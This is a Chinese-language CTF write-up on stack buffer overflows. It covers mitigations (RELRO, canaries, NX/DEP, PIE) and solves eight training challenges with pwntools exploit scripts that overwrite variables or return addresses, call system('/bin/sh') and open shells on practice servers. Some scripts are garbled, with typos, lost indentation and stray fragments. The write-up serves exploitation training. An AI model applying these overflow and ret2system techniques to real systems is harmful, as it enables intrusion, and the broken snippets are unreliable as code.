基本的栈溢出

程序的内存结构

栈防护技术

RELRO

在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域,尽量减少可写的存储区域可使安全系数提高。GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术Relocation Read Only, 重定向只读,实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。(参考RELRO技术细节)

Stack

栈溢出检查,用Canary金丝雀值是否变化来检测,Canary found表示开启。

金丝雀最早指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。这里是一种缓冲区溢出攻击缓解手段:启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux将cookie信息称为Canary。

NX

No Execute,栈不可执行,也就是windows上的DEP。

PIE

position-independent executables, 位置无关的可执行文件,也就是常说的ASLR(Address space layout randomization) 地址随机化,程序每次启动基址都随机。

DEP

分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,DEP就是用来弥补计算机对数据和代码混淆这一天然缺陷的。

DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。DEP的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。硬件DEP需要CPU的支持,AMD和Intel都为此做了设计,AMD称之为No-Execute Page-Protection(NX),Intel称之为Execute Disable Bit(XD)

0x01 where did you born

先checksec下,看下防护措施:

没有开启PIE。
直接放到IDA里看下:

图中箭头处即是溢出点。
分析下

第一次输入overflowme,如果等于1926就会退出,但是想要拿到flag,就需要overflowme的值为1926,那就很明显了,第一次输入的时候随便输个数只要不是1926就行,第二次输入v4 这个数组的时候,利用缓冲区溢出,将overflowme这个变量的值给覆盖成1926就行了,将1926转化为16进制为0x786。
通过IDA看下数组和overflow这个变量之间的距离:

0x20-0x18,得到距离是8个字节。只要填充8个字节的垃圾数据,再将其后4个字节的空间覆盖为0x00000786就可以了。此时栈空间如下图:

脚本:

1
2
3
4
5
6
7
8
9
from pwn import*
a=remote('111.198.29.45',"50711")
a=process('./when_did_you_born')
a.recvuntil("What's Your Birth?")
a.send('1998')
a.recvuntil("What's Your Name?")
payload='a'*8+p32(0x00000786)
a.senline(payload)
a.interactive()

0x02 hello_pwn

用IDA查看源码:

可以看到unk_601068跟dword_60106c是连在一起的,所以只需要在read处溢出unk_601068覆盖dword_60106c为0x6E756161即可.
exp:

1
2
3
4
5
6
from pwn import *
p = process('./hello_pwn')
p = remote("111.198.29.45","31004")
payload = 4*'a' + p32(0x6E756161)
p.sendline(payload)
p.interactive()

0x03 level0

首先用checksec查一下保护。几乎没开什么保护措施。

用ida反汇编。main函数就调用了两个函数。
跟进第二个函数

找到溢出点,通过buf缓冲区。又找到函数callsystem()。
只要控制程序返回到callsystem地址即可。找到callsystem地址。

脚本:

1
2
3
4
5
6
from pwn import*
a=remote("111.198.29.45","53539")
#a.recvuntil("Hello, World")
payload=0x88*'a'+p64(0x400596)
a.sendline(payload)
a.interactive()

因为是64位程序,所以覆盖rbp和返回地址时都要用64位数据

0x04 level4

放到ida中发现了“/bin/sh”串,和system函数,可以利用==

所以只要在vuln函数返回时跳转到system函数,同时添加参数“/bin/sh”就可以实现
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

io = remote("pwn2.jarvisoj.com",9878)
elf = ELF("./level2")

sys_addr = elf.symbols["system"]
bin_addr = elf.search("/bin/sh").next()

payload = 'a'*(0x88 + 0x4) #辣鸡填充值
payload += p32(sys_addr) #覆盖返回地址到system函数
payload += p32(0xdeadbeef)  #随意填写system函数调用结束的返回地址
payload += p32(bin_addr)  #system函数的参数,指向“/bin/sh”,实现调用

io.recvline()
io.sendline(payload)
io.interactive()
io.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 p = remote("111.198.29.45","50821")
elf = ELF("./level2")

sys_addr = elf.symbols["system"]
bin_addr = elf.search("/bin/sh").next()

payload = 'a'*0x8c
payload += p32(sys_addr)
payload += p32(0x12345678)
payload += p32(bin_addr)'''
system=0x08048320
binsh=0x0804A024
payload='a'*0x8c
payload+=p32(system)
payload+=p32(0x12345678)
payload+=p32(binsh)
p.recvline()
p.sendline(payload)
p.interactive()

此时程序流程如图

相当于进行了两次溢出。第一次vulnable函数返回地址溢出为system函数地址,第二次system函数返回地址溢出为bin/sh地址

0x05 warmup-csaw

这个程序没有开启任何的保护,而且文件是动态链接却没有给出libc

丢进IDA看一下:

看到了熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出,再看sprint()函数

进入sub_40060D中看一下:

可以看到这个函数是获取flag的关键点,程序会打印出此函数的位置,即0x40060d,到这里思路就差不多明了了,我们需要控制溢出位置,把返回地址改为此函数的地址

exp:

1
2
3
4
5
6
from pwn import *
a=remote(" "," ")
a.recvuntil(">")
payload= 'a'*0x40+'a'*8+p64(0x000000000040060D)
a.sendline(payload)
a.interactive()

0x06 guss num

开启了栈溢出保护和地址随机化,是64位程序

猜随机数的一题,种子是seed[0],循环10次,10次均对即可跳到sub_C3E函数执行system(“cat flag”),checksec一波发现开启了canary,不能直接栈溢出到sub_C3E函数

发现var_30在栈中占0x20,可以覆盖到seed
如果使输入的guessnumber,即v4等于随机数v6,即可cat flag。
只要把seed覆盖为我们已知道的数字,那么生成的随机数也可以算出了。
随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。
对于该题目,我们将随机种子设置为0或1都可

关于ctype库与dll

我们使用python标准库中自带的ctypes模块进行python和c的混合编程

libc共享库

可以使用ldd查找

kk@ubuntu:~/Desktop/black/GFSJ/guess_num$ ldd guess_num 
linux-vdso.so.1 =>  (0x00007ffd3f5a0000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1e6c0b0000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1e6c67d000)

也可以在脚本中通过elf文件查找

elf = ELF('./guess_num')
 libc = elf.libc

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from ctypes import *

a = remote('111.198.29.45',46063)
a = process('./guess_num')

elf = ELF('./guess_num')
libc = elf.libc

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a" * 0x20 + p64(1)
a.recvuntil('Please let me know your name!')
a.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
a.recvuntil('number:')
a.sendline(num)

a.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from ctypes import*
context.log_level = 'debug'
p = process("./guess_num")
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

pay = "A"*0x20 + p64(1)
p.sendlineafter("name:",pay)

libc.srand(1)

for i in range(10):
p.sendlineafter("number:",str(libc.rand()%6 + 1))

print p.recv()

0x07 dice game

和上题类似。rand()生成的随机数和随机种子seed()有关,通过观察题目,可以发现存在溢出漏洞,通过输入可以覆盖到seed(),实现一个可预测的随机数列。

题目分析:
这边就可以看到,buf覆盖0x40位就能覆盖到seed。
buf 长度最长为 0x50 但是当输入大于 49 的时候不会被截断,所以我们只要覆盖到之前的 seed 就可以为所欲为了。
同时注意到 seed 跟 buf 相差的偏移是 0x40,所以只要 68 个字符就可以溢出覆盖 seed 了。

sub_A20()如下,就是比较你输入的数是否和产生的随机数相等。

当回答正确50次时,会执行sub_B28这个函数,读取flag。

所以我们要做的就是,将seed覆盖掉,并且去预测生成的随机数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from ctypes import *

context.log_level='debug'
libc = cdll.LoadLibrary("libc.so.6")
p = process('./dice_game')

p = remote("111.198.29.45",58630)
p.recvuntil(" let me know your name: ")
p.send("A" * 0x40 + p64(1))

libc.srand(1)
for i in range(50):
p.recvuntil("Give me the point(1~6): ")
p.send(str(libc.rand()%6 + 1) + "\n")

p.interactive()
for i in range(50):
a.append(libc.rand()%6+1)
print(a)
for i in a:
p.recv()
print(p.recv())
p.sendline(str(i))
p.interactive()

0x08 cgpwn2

拿到题目检查防护:

简单运行下:

放到ida里看下:

函数上面一大串代码都没啥用。
主要是这里:

这个name是全局变量。

程序本身调用了system函数,但是没有现成的/bin/sh字符串,可以使用fgets将/bin/sh字符串读入bss区,然后将返回地址覆盖为system函数,参数布置为name的首地址。

bss段具有读写权限,我们可以将”/bin/sh”传到bss段,然后,调用system()函数,从bss段传入字符串
我们通过传入name的值位”/bin/sh”,达到将值写入bss段的目的

s的栈空间是0x38,32位的内存是4位,所以,s加上ebp的空间大小是0x42
42个 字符 就可以 返回我们gets 的返回地址 然后 我们 只需要 讲system 搞进去 然后输入 bin/sh 就可以了 但是别忘了 输入 system 的返回地址 (这个随便输入就行)

需要输入三个函数的返回地址,第一个是fgets,返回地址是bss_addr,目的是往bss段写入bin/sh,x00是为了补齐八位
第二个返回地址是gets,返回地址是system_addr,目的是调用system函数
第三个返回地址是system,返回地址随意

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = process('./cgpwn2')
p = remote("111.198.29.45","44496")
system_addr = 0x8048420
bss_addr = 0x804A080
p.recvuntil('name\n')
p.sendline("/bin/sh\x00")
p.recvuntil('here:\n')
payload = 42*'a' + p32(system_addr) + p32(0) + p32(bss_addr)
p.sendline(payload)
p.interactive()
-------------本文结束感谢您的阅读-------------
/*
*/